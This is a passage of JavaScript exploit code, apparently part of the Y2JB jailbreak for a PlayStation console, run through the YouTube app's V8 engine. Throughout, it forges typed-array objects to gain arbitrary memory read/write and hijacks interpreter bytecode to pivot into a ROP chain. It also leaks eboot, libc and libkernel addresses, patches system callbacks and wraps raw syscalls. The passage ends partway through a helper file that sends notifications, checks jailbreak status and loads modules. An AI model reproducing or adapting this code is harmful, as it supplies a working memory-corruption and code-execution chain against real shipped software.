        write64_unstable(fake_buffer_rw2_obj + 0x28n, 0n);  // extension
        write64_unstable(fake_buffer_rw2_obj + 0x30n, 0n);  // bit_field
        
        // Create fake BigUint64Array #2 elements
        write64_unstable(fake_arr2_elements + 0x00n, biguint_elem_map);
        write64_unstable(fake_arr2_elements + 0x08n, biguint_elem_len);
        
        // Create fake BigUint64Array #2 (fake_arr2)
        write64_unstable(fake_arr2_obj + 0x00n, biguint_map);
        write64_unstable(fake_arr2_obj + 0x08n, biguint_props);
        write64_unstable(fake_arr2_obj + 0x10n, fake_arr2_elements + 1n);
        write64_unstable(fake_arr2_obj + 0x18n, fake_buffer_rw2_obj + 1n);
        write64_unstable(fake_arr2_obj + 0x20n, 0n);  // byte_offset
        write64_unstable(fake_arr2_obj + 0x28n, 0x200n);  // byte_length
        write64_unstable(fake_arr2_obj + 0x30n, 0x40n);  // length
        write64_unstable(fake_arr2_obj + 0x38n, fake_rw2_data);  // external_pointer
        write64_unstable(fake_arr2_obj + 0x40n, 0n);  // base_pointer
        
        // Create fake BigUint64Array #1 elements
        write64_unstable(fake_rw_elements + 0x00n, biguint_elem_map);
        write64_unstable(fake_rw_elements + 0x08n, biguint_elem_len);
        
        // Create fake BigUint64Array #1 (fake_rw) - overlaps with fake_rw_data
        write64_unstable(fake_rw_obj + 0x00n, biguint_map);
        write64_unstable(fake_rw_obj + 0x08n, biguint_props);
        write64_unstable(fake_rw_obj + 0x10n, fake_rw_elements + 1n);
        write64_unstable(fake_rw_obj + 0x18n, fake_buffer_rw_obj + 1n);
        write64_unstable(fake_rw_obj + 0x20n, 0n);  // byte_offset
        write64_unstable(fake_rw_obj + 0x28n, 0x1000n);  // byte_length
        write64_unstable(fake_rw_obj + 0x30n, 0x200n);  // length (increased to 512)
        write64_unstable(fake_rw_obj + 0x38n, fake_rw_data);  // external_pointer
        write64_unstable(fake_rw_obj + 0x40n, 0n);  // base_pointer
        
        // ArrayBuffer (0x00 - 0x37)
        write64_unstable(fake_bc_buffer + 0x00n, small_buffer_map);
        write64_unstable(fake_bc_buffer + 0x08n, small_buffer_props);
        write64_unstable(fake_bc_buffer + 0x10n, small_buffer_elements);
        write64_unstable(fake_bc_buffer + 0x18n, 0x40n);  // byte_length
        write64_unstable(fake_bc_buffer + 0x20n, 0n);     // backing_store = NULL
        write64_unstable(fake_bc_buffer + 0x28n, 0n);     // extension
        write64_unstable(fake_bc_buffer + 0x30n, small_buffer_bit_field);
        
        // Padding (0x38 - 0x47) - 16 bytes of zeros
        write64_unstable(fake_bc_buffer + 0x38n, 0n);
        write64_unstable(fake_bc_buffer + 0x40n, 0n);
        
        // Elements (0x48 - 0x57)
        write64_unstable(fake_bc_elements + 0x00n, small_elem_map);
        write64_unstable(fake_bc_elements + 0x08n, small_elem_length_field);
        
        // BigUint64Array object (0x98 - 0xDF)
        write64_unstable(fake_bc_obj + 0x00n, small_map);
        write64_unstable(fake_bc_obj + 0x08n, small_props);
        write64_unstable(fake_bc_obj + 0x10n, fake_bc_elements + 1n);  // elements (tagged)
        write64_unstable(fake_bc_obj + 0x18n, fake_bc_buffer + 1n);    // buffer (tagged)
        write64_unstable(fake_bc_obj + 0x20n, 0n);     // byte_offset
        write64_unstable(fake_bc_obj + 0x28n, 0x40n);  // byte_length = 64
        write64_unstable(fake_bc_obj + 0x30n, 0x8n);   // length = 8
        write64_unstable(fake_bc_obj + 0x38n, 0xfn);   // external_ptr = 15
        write64_unstable(fake_bc_obj + 0x40n, fake_bc_elements + 1n);  // base_pointer (tagged)
        
        write64_unstable(fake_frame_buffer + 0x00n, small_buffer_map);
        write64_unstable(fake_frame_buffer + 0x08n, small_buffer_props);
        write64_unstable(fake_frame_buffer + 0x10n, small_buffer_elements);
        write64_unstable(fake_frame_buffer + 0x18n, 0x40n);
        write64_unstable(fake_frame_buffer + 0x20n, 0n);
        write64_unstable(fake_frame_buffer + 0x28n, 0n);
        write64_unstable(fake_frame_buffer + 0x30n, small_buffer_bit_field);
        
        write64_unstable(fake_frame_buffer + 0x38n, 0n);  // Padding ?
        write64_unstable(fake_frame_buffer + 0x40n, 0n);  // Padding
        
        write64_unstable(fake_frame_elements + 0x00n, small_elem_map);
        write64_unstable(fake_frame_elements + 0x08n, small_elem_length_field);
        
        // This looks like BigUint64Array but it is NOT!!!!
        // Using BigUint64Array for fake frame makes GC angry
        // Instead use double object
        // But I will leave BigUint64Array struct except map
        // So I can keep use the existing ROP code
        write64_unstable(fake_frame_obj + 0x00n, heap_number_map);
        write64_unstable(fake_frame_obj + 0x08n, small_props);
        write64_unstable(fake_frame_obj + 0x10n, fake_frame_elements + 1n);
        write64_unstable(fake_frame_obj + 0x18n, fake_frame_buffer + 1n);
        write64_unstable(fake_frame_obj + 0x20n, 0n);
        write64_unstable(fake_frame_obj + 0x28n, 0x40n);
        write64_unstable(fake_frame_obj + 0x30n, 0x8n);
        write64_unstable(fake_frame_obj + 0x38n, 0xfn);
        write64_unstable(fake_frame_obj + 0x40n, fake_frame_elements + 1n);
        
        for (let i = 0n; i < 0x40n; i += 8n) {
            write64_unstable(fake_bc_data + i, 0n);
            write64_unstable(fake_frame_data + i, 0n);
        }
        
        // Create fake rop_chain elements
        write64_unstable(fake_rop_chain_elements + 0x00n, biguint_elem_map);
        write64_unstable(fake_rop_chain_elements + 0x08n, biguint_elem_len);
        
        // Create fake rop_chain ArrayBuffer elements
        write64_unstable(fake_rop_chain_buffer_elements + 0x00n, buffer_elem_map);
        write64_unstable(fake_rop_chain_buffer_elements + 0x08n, buffer_elem_len);
        
        // Create fake rop_chain ArrayBuffer
        write64_unstable(fake_rop_chain_buffer_obj + 0x00n, buffer_map);
        write64_unstable(fake_rop_chain_buffer_obj + 0x08n, buffer_props);
        write64_unstable(fake_rop_chain_buffer_obj + 0x10n, fake_rop_chain_buffer_elements + 1n);
        write64_unstable(fake_rop_chain_buffer_obj + 0x18n, 0x800n);  // byte_length
        write64_unstable(fake_rop_chain_buffer_obj + 0x20n, fake_rop_chain_data);  // backing_store
        write64_unstable(fake_rop_chain_buffer_obj + 0x28n, 0n);  // extension
        write64_unstable(fake_rop_chain_buffer_obj + 0x30n, 0n);  // bit_field
        
        // Create fake rop_chain BigUint64Array (external storage)
        write64_unstable(fake_rop_chain_obj + 0x00n, biguint_map);
        write64_unstable(fake_rop_chain_obj + 0x08n, biguint_props);
        write64_unstable(fake_rop_chain_obj + 0x10n, fake_rop_chain_elements + 1n);
        write64_unstable(fake_rop_chain_obj + 0x18n, fake_rop_chain_buffer_obj + 1n);
        write64_unstable(fake_rop_chain_obj + 0x20n, 0n);  // byte_offset
        write64_unstable(fake_rop_chain_obj + 0x28n, 0x800n);  // byte_length
        write64_unstable(fake_rop_chain_obj + 0x30n, 0x100n);  // length
        write64_unstable(fake_rop_chain_obj + 0x38n, fake_rop_chain_data);  // external_pointer
        write64_unstable(fake_rop_chain_obj + 0x40n, 0n);  // base_pointer
        
        // Create fake return_value_buf elements (inline storage)
        write64_unstable(fake_return_value_elements + 0x00n, small_elem_map);
        write64_unstable(fake_return_value_elements + 0x08n, small_elem_length_field);
        
        // Create fake return_value_buf ArrayBuffer elements
        write64_unstable(fake_return_value_buffer_elements + 0x00n, buffer_elem_map);
        write64_unstable(fake_return_value_buffer_elements + 0x08n, buffer_elem_len);
        
        // Create fake return_value_buf ArrayBuffer
        write64_unstable(fake_return_value_buffer_obj + 0x00n, small_buffer_map);
        write64_unstable(fake_return_value_buffer_obj + 0x08n, small_buffer_props);
        write64_unstable(fake_return_value_buffer_obj + 0x10n, small_buffer_elements);
        write64_unstable(fake_return_value_buffer_obj + 0x18n, 0x40n);  // byte_length
        write64_unstable(fake_return_value_buffer_obj + 0x20n, 0n);  // backing_store = null
        write64_unstable(fake_return_value_buffer_obj + 0x28n, 0n);  // extension
        write64_unstable(fake_return_value_buffer_obj + 0x30n, small_buffer_bit_field);
        
        // Create fake return_value_buf BigUint64Array (inline storage)
        write64_unstable(fake_return_value_obj + 0x00n, small_map);
        write64_unstable(fake_return_value_obj + 0x08n, small_props);
        write64_unstable(fake_return_value_obj + 0x10n, fake_return_value_elements + 1n);
        write64_unstable(fake_return_value_obj + 0x18n, fake_return_value_buffer_obj + 1n);
        write64_unstable(fake_return_value_obj + 0x20n, 0n);  // byte_offset
        write64_unstable(fake_return_value_obj + 0x28n, 0x40n);  // byte_length
        write64_unstable(fake_return_value_obj + 0x30n, 0x8n);  // length
        write64_unstable(fake_return_value_obj + 0x38n, 0xfn);  // external_pointer
        write64_unstable(fake_return_value_obj + 0x40n, fake_return_value_elements + 1n);  // base_pointer
        
        // Materialize fake objects
        const fake_rw = create_fakeobj_unstable(fake_rw_obj);
        const fake_arr2 = create_fakeobj_unstable(fake_arr2_obj);
        const fake_array = create_fakeobj_unstable(fake_array_obj);
        
        // Calculate offsets for accessing via fake_rw
        const arr2_external_offset = Number((fake_arr2_obj + 0x38n - fake_rw_data) / 8n);
        const fake_array_slot0_offset = Number((fake_array_elements_data + 0x10n - fake_rw_data) / 8n);
        
        // Stable primitives
        addrof = function(obj) {
            const arr_elements_org = fake_rw[fake_array_slot0_offset];
            fake_array[0] = obj;
            const addr = fake_rw[fake_array_slot0_offset] - 1n;
            fake_rw[fake_array_slot0_offset] = arr_elements_org;
            return addr;
        }
        
        read64 = function(addr) {
            const arr2_external_org = fake_rw[arr2_external_offset];
            fake_rw[arr2_external_offset] = addr;
            const value = fake_arr2[0];
            fake_rw[arr2_external_offset] = arr2_external_org;
            return value;
        }
        
        write64 = function(addr, value) {
            const arr2_external_org = fake_rw[arr2_external_offset];
            fake_rw[arr2_external_offset] = addr;
            fake_arr2[0] = value;
            fake_rw[arr2_external_offset] = arr2_external_org;
        }
        
        create_fakeobj = function(addr) {
            const arr_elements_org = fake_rw[fake_array_slot0_offset];
            fake_rw[fake_array_slot0_offset] = addr + 1n;
            const fake_obj = fake_array[0];
            fake_rw[fake_array_slot0_offset] = arr_elements_org;
            return fake_obj;
        }                

        read8 = function(addr) {
            const qword = read64(addr & ~7n);
            const byte_offset = Number(addr & 7n);
            return (qword >> BigInt(byte_offset * 8)) & 0xFFn;
        }

        write8 = function(addr, value) {
            const qword = read64(addr & ~7n);
            const byte_offset = Number(addr & 7n);
            const mask = 0xFFn << BigInt(byte_offset * 8);
            const new_qword = (qword & ~mask) | ((BigInt(value) & 0xFFn) << BigInt(byte_offset * 8));
            write64(addr & ~7n, new_qword);
        }

        read16 = function(addr) {
            const qword = read64(addr & ~7n);
            const byte_offset = Number(addr & 7n);
            return (qword >> BigInt(byte_offset * 8)) & 0xFFFFn;
        }
        
        write16 = function(addr, value) {
            const qword = read64(addr & ~7n);
            const byte_offset = Number(addr & 7n);
            const mask = 0xFFFFn << BigInt(byte_offset * 8);
            const new_qword = (qword & ~mask) | ((BigInt(value) & 0xFFFFn) << BigInt(byte_offset * 8));
            write64(addr & ~7n, new_qword);
        }
        
        read32 = function(addr) {
            const qword = read64(addr & ~7n);
            const byte_offset = Number(addr & 7n);
            return (qword >> BigInt(byte_offset * 8)) & 0xFFFFFFFFn;
        }

        write32 = function(addr, value) {
            const qword = read64(addr & ~7n);
            const byte_offset = Number(addr & 7n);
            const mask = 0xFFFFFFFFn << BigInt(byte_offset * 8);
            const new_qword = (qword & ~mask) | ((BigInt(value) & 0xFFFFFFFFn) << BigInt(byte_offset * 8));
            write64(addr & ~7n, new_qword);
        }
        
        get_backing_store = function(typed_array) {
            const obj_addr = addrof(typed_array);
            const external = read64(obj_addr + 0x38n);
            const base = read64(obj_addr + 0x40n);
            return base + external;
        }
        
        malloc = function(size) {
            const buffer = new ArrayBuffer(Number(size));
            const buffer_addr = addrof(buffer);
            const backing_store = read64(buffer_addr + 0x20n);
            allocated_buffers.push(buffer);
            return backing_store;
        }
        
        await log("Stable primitive achieved");
        
        await log("Setting up ROP...");
        
        // https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution
        // We don't have pointer compression
        
        // Make bytecode larger and just use it's address
        // No separate fake bytecode buffer
        pwn = function(x) {
            let dummy1 = x + 1;
            let dummy2 = x + 2;
            let dummy3 = x + 3;
            let dummy4 = x + 4;
            let dummy5 = x + 5;
            return x;
        }
        
        pwn(1); // Generate bytecode
        
        get_bytecode_addr = function() {
            const pwn_addr = addrof(pwn); // JSFunction
            const sfi_addr = read64(pwn_addr + 0x18n) - 1n; // SharedFunctionInfo
            const bytecode_addr = read64(sfi_addr + 0x8n) - 1n; // BytecodeArray
            return bytecode_addr;
        }
        
        rop_chain = create_fakeobj(fake_rop_chain_obj);
        fake_bc = create_fakeobj(fake_bc_obj);
        fake_frame = create_fakeobj(fake_frame_obj);
        return_value_buf = create_fakeobj(fake_return_value_obj);
        
        //await log("fake_bc @ " + toHex(addrof(fake_bc)));
        //await log("fake_frame @ " + toHex(addrof(fake_frame)));
        
        const bytecode_addr = get_bytecode_addr();
        //await log("BytecodeArray @ " + toHex(bytecode_addr));
        
        bc_start = bytecode_addr + 0x36n;
        write64(bc_start, 0xAB0025n);
        
        const stack_addr = addrof(pwn(1)) + 0x1n;
        await log("Stack leak @ " + toHex(stack_addr));
        
        eboot_base = read64(stack_addr + 0x8n) - 0xFBC81Fn;
        await log("eboot_base @ " + toHex(eboot_base));
        
        libc_base = read64(eboot_base + 0x2A66660n) - 0x851A0n;
        await log("libc_base @ " + toHex(libc_base));
        
        const rop_chain_addr = get_backing_store(rop_chain);
        //await log("ROP chain @ " + toHex(rop_chain_addr));
        
        // Fake bytecode for r14 register
        fake_bc[0] = 0xABn; // Return opcode - keeps interpreter happy
        const fake_bc_addr = get_backing_store(fake_bc);
        //await log("Fake bytecode @ " + toHex(fake_bc_addr));
        
        const fake_frame_backing = get_backing_store(fake_frame);
        
        // This sets the r14 register which V8 expects to point to bytecode
        write64(fake_frame_backing + 0x21n, fake_bc_addr);
        
        return_value_addr = get_backing_store(return_value_buf);
        //await log("return_value_addr @ " + toHex(return_value_addr));

        const fake_frame_addr = addrof(fake_frame);
        // Pivot RSP
        write64(fake_frame_addr + 0x09n, ROP.pop_rsp); // pop rsp ; ret
        write64(fake_frame_addr + 0x11n, rop_chain_addr);

        call_rop = function(address, rax = 0x0n, arg1 = 0x0n, arg2 = 0x0n, arg3 = 0x0n, arg4 = 0x0n, arg5 = 0x0n, arg6 = 0x0n) {
            let rop_i = 0;
            
            // Syscall number
            rop_chain[rop_i++] = ROP.pop_rax; // pop rax ; ret
            rop_chain[rop_i++] = rax;
            
            // Setup arguments
            rop_chain[rop_i++] = ROP.pop_rdi; // pop rdi ; ret
            rop_chain[rop_i++] = arg1;
            rop_chain[rop_i++] = ROP.pop_rsi; // pop rsi ; ret
            rop_chain[rop_i++] = arg2;
            rop_chain[rop_i++] = ROP.pop_rdx; // pop rdx ; ret
            rop_chain[rop_i++] = arg3;
            rop_chain[rop_i++] = ROP.pop_rcx; // pop rcx ; ret
            rop_chain[rop_i++] = arg4;
            rop_chain[rop_i++] = ROP.pop_r8; // pop r8 ; ret
            rop_chain[rop_i++] = arg5;
            rop_chain[rop_i++] = ROP.pop_r9; // pop r9 ; ret
            rop_chain[rop_i++] = arg6;

            // Call function
            rop_chain[rop_i++] = address; 
            
            // Store return value to return_value_addr
            rop_chain[rop_i++] = ROP.pop_rdi; // pop rdi ; ret
            rop_chain[rop_i++] = return_value_addr;
            rop_chain[rop_i++] = ROP.mov_qword_rdi_rax; // mov qword [rdi], rax ; ret
            
            // Return safe tagged value to JavaScript
            rop_chain[rop_i++] = ROP.mov_rax_0x200000000; // mov rax, 0x200000000 ; ret

            rop_chain[rop_i++] = ROP.pop_rbp; // pop rbp ; ret ;
            rop_chain[rop_i++] = saved_fp;
            
            rop_chain[rop_i++] = ROP.mov_rsp_rbp; // mov rsp, rbp ; pop rbp ; ret
            
            return pwn(fake_frame);
        }
        
        
        call = function(address, arg1 = 0x0n, arg2 = 0x0n, arg3 = 0x0n, arg4 = 0x0n, arg5 = 0x0n, arg6 = 0x0n) {                    
            // GC friendly
            // Get new bytecode_addr each time
            const bc_start = get_bytecode_addr() + 0x36n;
            
            write64(bc_start, 0xAB0025n);
            
            saved_fp = addrof(call_rop(address, 0x0n, arg1, arg2, arg3, arg4, arg5, arg6)) + 0x1n;
            
            write64(bc_start, 0xAB00260325n); //Ldar 0x3, Star fp, Return
            
            call_rop(address, 0x0n, arg1, arg2, arg3, arg4, arg5, arg6);
            
            return return_value_buf[0];
        }
        
        rop_test = call(ROP.mov_rax_0x200000000);
        await log("ROP test, should see 0x0000000200000000 : " + toHex(rop_test));
        
        if (rop_test !== 0x200000000n) {
            await log("ERROR: ROP test failed");
            throw new Error("ROP test failed");
        }
        
        // PSN dialog disabler
        await log("Disabling PSN dialog and Youtube splash kill...");
        const psn_callback = eboot_base + 0x2AEC50n;
        const yt_callback = eboot_base + 0x10B70n;
        
        await log("PSN dialog callback: " + toHex(psn_callback));
        await log("YT callback: " + toHex(yt_callback));
        
        const sceKernelVirtualQuery = read64(eboot_base + 0x2A65C10n);
        const info = malloc(0x60);
        
        let current_addr = 0x200000000n;
        let end_addr = 0x300000000n;
        let regions_searched = 0;
        let psn_matches = 0;
        let yt_matches = 0;
        
        while (current_addr < end_addr && (psn_matches < 2 || yt_matches < 1)) {
            const ret = call(sceKernelVirtualQuery, current_addr, 1n, info, 0x60n);
            
            const start = read64(info);
            if (start >= end_addr) break;
            
            const end = read64(info + 8n);
            const size = end - start;
            const protection = read32(info + 0x18n);
            
            regions_searched++;
            
            if (size <= 0x40000n && protection === 3n) {
                
                for (let addr = start; addr < end; addr += 8n) {
                    
                    let value = read64(addr);
                    
                    if (value === psn_callback && psn_matches < 2) {
                        psn_matches++;
                        await log("PSN Callback address @ " + toHex(addr));
                        write64(addr, ROP.ret);
                    } else if (value === yt_callback && yt_matches < 1) {
                        yt_matches++;
                        await log("YT Callback address @ " + toHex(addr));
                        write64(addr, ROP.ret);
                    }
                    
                    // Break inner loop if we found everything we need
                    if (psn_matches >= 2 && yt_matches >= 1) {
                        break;
                    }
                }
            }
            
            // Break outer loop if we found everything
            if (psn_matches >= 2 && yt_matches >= 1) {
                break;
            }
            
            current_addr = end;
        }

        // https://github.com/shahrilnet/remote_lua_loader/blob/22a03e38b6e8f13e2e379f7c5036767c14162ff3/savedata/syscall.lua#L42
        const sceKernelGetModuleInfoFromAddr = read64(libc_base + 0x113C08n);
        await log("sceKernelGetModuleInfoFromAddr @ " + toHex(sceKernelGetModuleInfoFromAddr));
        
        //gettimeofday plt
        //0x113B18
        const gettimeofdayAddr = read64(libc_base + 0x113B18n);
        await log("gettimeofdayAddr @: " + toHex(gettimeofdayAddr));
        
        const mod_info = malloc(0x300);
        //await log("mod_info buffer @ " + toHex(mod_info));
        
        const SEGMENTS_OFFSET = 0x160n;
        
        ret = call(sceKernelGetModuleInfoFromAddr, gettimeofdayAddr, 0x1n, mod_info);
        //await log("sceKernelGetModuleInfoFromAddr returned: " + toHex(ret));

        if (ret !== 0x0n) {
            await log("ERROR: sceKernelGetModuleInfoFromAddr failed: " + toHex(ret));
            throw new Error("sceKernelGetModuleInfoFromAddr failed");
        }
        
        libkernel_base = read64(mod_info + SEGMENTS_OFFSET);
        await log("libkernel_base @ " + toHex(libkernel_base));

        syscall_wrapper = gettimeofdayAddr + 0x7n;
        await log("syscall_wrapper @ " + toHex(syscall_wrapper));
        
        syscall = function(syscall_num, arg1 = 0x0n, arg2 = 0x0n, arg3 = 0x0n, arg4 = 0x0n, arg5 = 0x0n, arg6 = 0x0n) {
            if(syscall_num === undefined) {
                throw new Error("ERROR: syscall not defined");
            }
            // GC friendly
            // Get new bytecode_addr each time
            const bc_start = get_bytecode_addr() + 0x36n;
            
            write64(bc_start, 0xAB0025n);
            saved_fp = addrof(call_rop(syscall_wrapper, syscall_num, arg1, arg2, arg3, arg4, arg5, arg6)) + 0x1n;
            
            write64(bc_start, 0xAB00260325n);
            call_rop(syscall_wrapper, syscall_num, arg1, arg2, arg3, arg4, arg5, arg6);
            
            return return_value_buf[0];
        }
        
        libc_strerror = libc_base + 0x73520n;
        libc_error = libc_base + 0xCC5A0n;
        
        load_localscript('misc.js');
        
        if (psn_matches >= 1 && yt_matches >= 1) {
            send_notification("PSN dialog disabled\nSafe to close PSN sign out dialog now");
            await log("PSN dialog disabled\nSafe to close PSN sign out dialog now");
        } else {
            send_notification("Failed to disable PSN dialog\nDo not close PSN sign out dialog early\nClose and restart Y2JB");
            throw new Error("Failed to disable PSN dialog\nDo not close PSN sign out dialog early\nClose and restart Y2JB");
        }
        
        await checkLogServer();
        
        FW_VERSION = get_fwversion();
        
        send_notification(version_string + "\nFW : " + FW_VERSION);
        await log("FW detected : " + FW_VERSION);
        
        const major = FW_VERSION.split(".")[0];
        SCE_KERNEL_DLSYM = libkernel_base + DLSYM_OFFSETS[major];
        await log("libkernel_base @ " + toHex(libkernel_base));
        await log("SCE_KERNEL_DLSYM @ " + toHex(SCE_KERNEL_DLSYM));
        
        load_localscript('kernel.js');
        load_localscript('kernel_offset.js');
        load_localscript('gpu.js');
        
        ////////////////////
        // MAIN EXECUTION //
        ////////////////////
        
        load_localscript('remotejsloader.js');
        
    } catch (e) {                
        await log('EXCEPTION: ' + e.message);
        await log(e.stack);
    }
    
})();
```

## /download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/misc.js

```js path="/download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/misc.js" 

// Write UTF-8 string to existing buffer
function write_string(addr, str) {
    const encoder = new TextEncoder();
    const bytes = encoder.encode(str);
    
    for (let i = 0; i < bytes.length; i++) {
        write8(addr + BigInt(i), bytes[i]);
    }
    
    write8(addr + BigInt(bytes.length), 0);
}

function alloc_string(str) {
    const encoder = new TextEncoder();
    const bytes = encoder.encode(str);
    const addr = malloc(bytes.length + 1);
    
    for (let i = 0; i < bytes.length; i++) {
        write8(addr + BigInt(i), bytes[i]);
    }
    
    write8(addr + BigInt(bytes.length), 0);
    
    return addr;
}

function send_notification(text) {
    const notify_buffer_size = 0xc30n;
    const notify_buffer = malloc(Number(notify_buffer_size));
    const icon_uri = "cxml://psnotification/tex_icon_system";
                        
    // Setup notification structure
    write32(notify_buffer + 0x0n, 0);           // type
    write32(notify_buffer + 0x28n, 0);          // unk3
    write32(notify_buffer + 0x2cn, 1);          // use_icon_image_uri
    write32(notify_buffer + 0x10n, 0xffffffff); // target_id (-1 as unsigned)
    
    // Write message at offset 0x2D
    write_string(notify_buffer + 0x2dn, text);
    
    // Write icon URI at offset 0x42D
    write_string(notify_buffer + 0x42dn, icon_uri);
    
    // Open /dev/notification0
    const dev_path = alloc_string("/dev/notification0");
    const fd = syscall(SYSCALL.open, dev_path, O_WRONLY);
    
    if (Number(fd) < 0) {
        return;
    }
    
    syscall(SYSCALL.write, fd, notify_buffer, notify_buffer_size);
    syscall(SYSCALL.close, fd);
    
}

function get_error_string() {
    const error_func = call(libc_error);
    const errno = read64(error_func);
    const strerror = call(libc_strerror, errno);
    return Number(errno) + " " + read_null_terminated_string(strerror);
}


function sysctlbyname(name, oldp, oldp_len, newp, newp_len) {
    const translate_name_mib = malloc(0x8);
    const buf_size = 0x70;
    const mib = malloc(buf_size);
    const size = malloc(0x8);
    
    write64(translate_name_mib, 0x300000000n);
    write64(size, BigInt(buf_size));
    
    const name_addr = alloc_string(name);
    const name_len = BigInt(name.length);
    
    if (syscall(SYSCALL.sysctl, translate_name_mib, 2n, mib, size, name_addr, name_len) === 0xffffffffffffffffn) {
        throw new Error("failed to translate sysctl name to mib (" + name + ")");
    }
    
    if (syscall(SYSCALL.sysctl, mib, 2n, oldp, oldp_len, newp, newp_len) === 0xffffffffffffffffn) {
        return false;
    }
    
    return true;
}


function get_fwversion() {
    const buf = malloc(0x8);
    const size = malloc(0x8);
    write64(size, 0x8n);
    
    if (sysctlbyname("kern.sdk_version", buf, size, 0n, 0n)) {
        const byte1 = Number(read8(buf + 2n));  // Minor version (first byte)
        const byte2 = Number(read8(buf + 3n));  // Major version (second byte)
        
        const version = byte2.toString(16) + '.' + byte1.toString(16).padStart(2, '0');
        return version;
    }
    
    return null;
}

function call_pipe_rop(fildes) {
    let rop_i = 0;
    
    rop_chain[rop_i++] = ROP.pop_rax; // pop rax ; ret
    rop_chain[rop_i++] = SYSCALL.pipe;
    rop_chain[rop_i++] = syscall_wrapper;
    
    // Store rax (read_fd) to fildes[0]
    rop_chain[rop_i++] = ROP.pop_rdi; // pop rdi ; ret
    rop_chain[rop_i++] = fildes;
    rop_chain[rop_i++] = ROP.mov_qword_rdi_rax; // mov qword [rdi], rax ; ret
    
    // Store rdx (write_fd) to fildes[4]
    rop_chain[rop_i++] = ROP.pop_rdi; // pop rdi ; ret
    rop_chain[rop_i++] = fildes + 4n;
    rop_chain[rop_i++] = ROP.mov_qword_rdi_rdx; // mov qword [rdi], rdx ; ret
    
    // Return safe tagged value to JavaScript
    rop_chain[rop_i++] = ROP.mov_rax_0x200000000; // mov rax, 0x200000000 ; ret
    rop_chain[rop_i++] = ROP.pop_rbp; // pop rbp ; ret
    rop_chain[rop_i++] = saved_fp;
    rop_chain[rop_i++] = ROP.mov_rsp_rbp; // mov rsp, rbp ; pop rbp ; ret
    
    return pwn(fake_frame);
}

function create_pipe() {
    const fildes = malloc(0x10);
    
    const bc_start = get_bytecode_addr() + 0x36n;
    
    write64(bc_start, 0xAB0025n);
    saved_fp = addrof(call_pipe_rop(fildes)) + 0x1n;
    
    write64(bc_start, 0xAB00260325n);
    call_pipe_rop(fildes);
    
    const read_fd = read32(fildes);
    const write_fd = read32(fildes + 4n);

    return [read_fd, write_fd];
}

function read_buffer(addr, len) {
    const buffer = new Uint8Array(len);
    for (let i = 0; i < len; i++) {
        buffer[i] = Number(read8(addr + BigInt(i)));
    }
    return buffer;
}

function write_buffer(addr, buffer) {
    for (let i = 0; i < buffer.length; i++) {
        write8(addr + BigInt(i), buffer[i]);
    }
}

function read_null_terminated_string(addr) {
    const decoder = new TextDecoder('utf-8');
    let result = "";
    
    while (true) {
        const chunk = read_buffer(addr, 0x8);
        if (!chunk || chunk.length === 0) break;
        
        let null_pos = -1;
        for (let i = 0; i < chunk.length; i++) {
            if (chunk[i] === 0) {
                null_pos = i;
                break;
            }
        }
        
        if (null_pos >= 0) {
            if (null_pos > 0) {
                result += decoder.decode(chunk.slice(0, null_pos));
            }
            return result;
        }
        
        result += decoder.decode(chunk, { stream: true });
        addr = addr + BigInt(chunk.length);
    }
    
    return result;
}

function find_pattern(buffer, pattern_string) {
    const parts = pattern_string.split(' ');
    const matches = [];
    
    for (let i = 0; i <= buffer.length - parts.length; i++) {
        let match = true;
        
        for (let j = 0; j < parts.length; j++) {
            if (parts[j] === '?') continue;
            if (buffer[i + j] !== parseInt(parts[j], 16)) {
                match = false;
                break;
            }
        }
        
        if (match) matches.push(i);
    }
    
    return matches;
}

function get_current_ip() {
    // Get interface count
    const count = Number(syscall(SYSCALL.netgetiflist, 0n, 10n));
    if (count < 0) {
        return null;
    }
    
    // Allocate buffer for interfaces
    const iface_size = 0x1e0;
    const iface_buf = malloc(iface_size * count);
    
    // Get interface list
    if (Number(syscall(SYSCALL.netgetiflist, iface_buf, BigInt(count))) < 0) {
        return null;
    }
    
    // Parse interfaces
    for (let i = 0; i < count; i++) {
        const offset = BigInt(i * iface_size);
        
        // Read interface name (null-terminated string at offset 0)
        let iface_name = "";
        for (let j = 0; j < 16; j++) {
            const c = Number(read8(iface_buf + offset + BigInt(j)));
            if (c === 0) break;
            iface_name += String.fromCharCode(c);
        }
        
        // Read IP address (4 bytes at offset 0x28)
        const ip_offset = offset + 0x28n;
        const ip1 = Number(read8(iface_buf + ip_offset));
        const ip2 = Number(read8(iface_buf + ip_offset + 1n));
        const ip3 = Number(read8(iface_buf + ip_offset + 2n));
        const ip4 = Number(read8(iface_buf + ip_offset + 3n));
        const iface_ip = ip1 + "." + ip2 + "." + ip3 + "." + ip4;
        
        // Check if this is eth0 or wlan0 with valid IP
        if ((iface_name === "eth0" || iface_name === "wlan0") && 
            iface_ip !== "0.0.0.0" && iface_ip !== "127.0.0.1") {
            return iface_ip;
        }
    }
    
    return null;
}

function is_jailbroken() {

    const cur_uid = syscall(SYSCALL.getuid);
    const is_in_sandbox = syscall(SYSCALL.is_in_sandbox);
    if (cur_uid === 0n && is_in_sandbox === 0n) {
        return true;
    } else {
        
        // Check if elfldr is running at 9021
        const sockaddr_in = malloc(16);
        const enable = malloc(4);
        
        const sock_fd = syscall(SYSCALL.socket, AF_INET, SOCK_STREAM, 0n);
        if (sock_fd === 0xffffffffffffffffn) {
            throw new Error("socket failed: " + toHex(sock_fd));
        }
    
        try {
            write32(enable, 1);
            syscall(SYSCALL.setsockopt, sock_fd, SOL_SOCKET, SO_REUSEADDR, enable, 4n);
    
            write8(sockaddr_in + 1n, AF_INET);
            write16(sockaddr_in + 2n, 0x3D23n);      // port 9021
            write32(sockaddr_in + 4n, 0x0100007Fn);  // 127.0.0.1
    
            // Try to connect to 127.0.0.1:9021
            const ret = syscall(SYSCALL.connect, sock_fd, sockaddr_in, 16n);
    
            if (ret === 0n) {
                syscall(SYSCALL.close, sock_fd);
                return true;
            } else {
                syscall(SYSCALL.close, sock_fd);
                return false;
            }
        } catch (e) {
            syscall(SYSCALL.close, sock_fd);
            return false;
        }
    }
}

function check_jailbroken() {
    if (!is_jailbroken()) {
        throw new Error("process is not jailbroken")
    }
}

function load_prx(path) {
    const handle_out = malloc(4);
    const path_addr = alloc_string(path);

    const result = syscall(SYSCALL.dynlib_load_prx, path_addr, 0n, handle_out, 0n);
    if (result !== 0n) {
        throw new Error("dynlib_load_prx error: " + toHex(result));
    }

    return read32(handle_out);
